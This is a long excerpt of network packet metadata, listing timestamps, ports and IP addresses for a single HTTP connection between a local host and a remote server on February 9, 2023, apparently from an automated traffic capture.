Feb 9, 2023 01:01:55.647330046 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647357941 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647384882 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647399902 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.647413969 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647438049 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.647444963 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647475004 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647481918 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.647504091 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647530079 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647550106 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.647559881 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647586107 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647594929 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.647613049 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647636890 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647664070 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647675037 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.647690058 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647711992 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.647715092 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647756100 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647764921 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.647785902 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647814989 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647842884 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647856951 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.647871971 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647891998 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.647900105 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647927999 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647954941 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647964001 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.647983074 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.647996902 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.648011923 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.648040056 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.648062944 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.648070097 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.648098946 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.648124933 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.648125887 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.648139954 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.648173094 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.669320107 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.669368982 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.669394016 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.669419050 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.669430017 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.669445038 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.669466019 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.669471979 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.669498920 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.669523001 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.669548035 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.669574976 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.669598103 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.669599056 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.669625998 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.669646978 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.669647932 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.669671059 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.669673920 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.669699907 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.669723034 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.669735909 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.669748068 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.669770956 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.669774055 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.669802904 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.669830084 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.669858932 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.669863939 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.669888020 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.669889927 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.669922113 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.669935942 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.669950962 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.669981003 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670010090 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670032024 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.670039892 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670063972 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.670072079 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670101881 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670130968 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670141935 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.670161009 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670175076 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.670191050 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670219898 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670247078 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670258999 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.670273066 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670295954 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.670300007 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670348883 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670365095 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.670377016 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670402050 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670413971 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.670427084 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670449972 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670475006 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670495987 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.670497894 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670523882 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.670525074 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670553923 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670583963 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670588017 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.670613050 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670636892 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.670643091 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670671940 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670681953 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.670717955 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670753002 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670774937 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.670779943 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670809031 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670819998 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.670839071 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670867920 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670893908 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670912027 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.670923948 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670944929 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.670953989 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670983076 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.670990944 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.671017885 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671046019 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671072960 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671083927 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.671098948 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671122074 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.671125889 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671153069 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671164036 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.671176910 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671200037 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671224117 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671241045 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.671248913 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671274900 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671276093 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.671300888 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671310902 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.671327114 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671354055 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671375990 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.671380997 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671410084 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671421051 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.671438932 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671467066 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671494007 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671515942 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.671521902 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671545029 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.671551943 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671581984 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671587944 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.671611071 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671638966 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671650887 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.671668053 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671694994 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671724081 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671736956 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.671752930 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671766996 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.671785116 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671813011 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671827078 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.671839952 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671868086 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671892881 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671899080 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.671916008 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.671920061 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671947002 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671948910 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.671972036 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.671983004 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.671997070 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672023058 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672044992 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.672048092 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672076941 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672090054 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.672105074 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672133923 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672162056 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672173977 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.672190905 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672204971 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.672220945 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672250032 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672278881 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672291040 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.672308922 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672321081 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.672337055 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672365904 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672394991 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672406912 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.672424078 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672439098 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.672455072 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672482967 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672512054 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672521114 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.672538996 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672549009 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.672569990 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672595024 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672619104 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672633886 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.672646999 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672669888 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.672672033 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672700882 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672717094 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.672728062 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672750950 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672769070 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672792912 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.672794104 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672822952 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672828913 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.672851086 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672858000 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.672880888 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672909021 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672928095 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.672938108 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672966003 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.672975063 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.672995090 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673023939 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673034906 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.673053980 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673082113 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673105955 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.673111916 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673131943 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.673141003 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673151016 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.673170090 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673198938 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673226118 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673237085 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.673255920 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673274040 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.673284054 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673312902 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673337936 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673357010 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.673363924 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673384905 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.673389912 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673415899 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673434973 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.673440933 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673466921 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673476934 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.673495054 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673521996 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673547983 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673568010 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.673578978 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673600912 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.673608065 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673638105 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673649073 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.673666954 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673696995 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673723936 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673743010 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.673753023 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673773050 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.673782110 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673811913 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673835039 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.673839092 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673870087 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673897982 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673917055 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.673924923 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673947096 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.673954964 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673981905 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.673993111 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.674009085 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674034119 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674057961 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674062967 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.674083948 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674103975 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.674109936 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674135923 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674160957 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674161911 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.674189091 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674209118 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.674216986 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674243927 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.674246073 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674274921 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674283028 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.674303055 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674329996 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674331903 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.674359083 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674386978 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674408913 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.674415112 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674443007 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674448013 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.674470901 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674499035 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674501896 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.674525976 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674549103 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.674555063 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674585104 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674612045 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674614906 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.674638987 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674659014 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.674665928 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674710989 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674736977 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674757004 CET	49738	80	192.168.2.5	131.188.40.189
Feb 9, 2023 01:01:55.674762011 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674789906 CET	80	49738	131.188.40.189	192.168.2.5
Feb 9, 2023 01:01:55.674791098 CET	49738	80	192.168.2.5	131.188.40.189
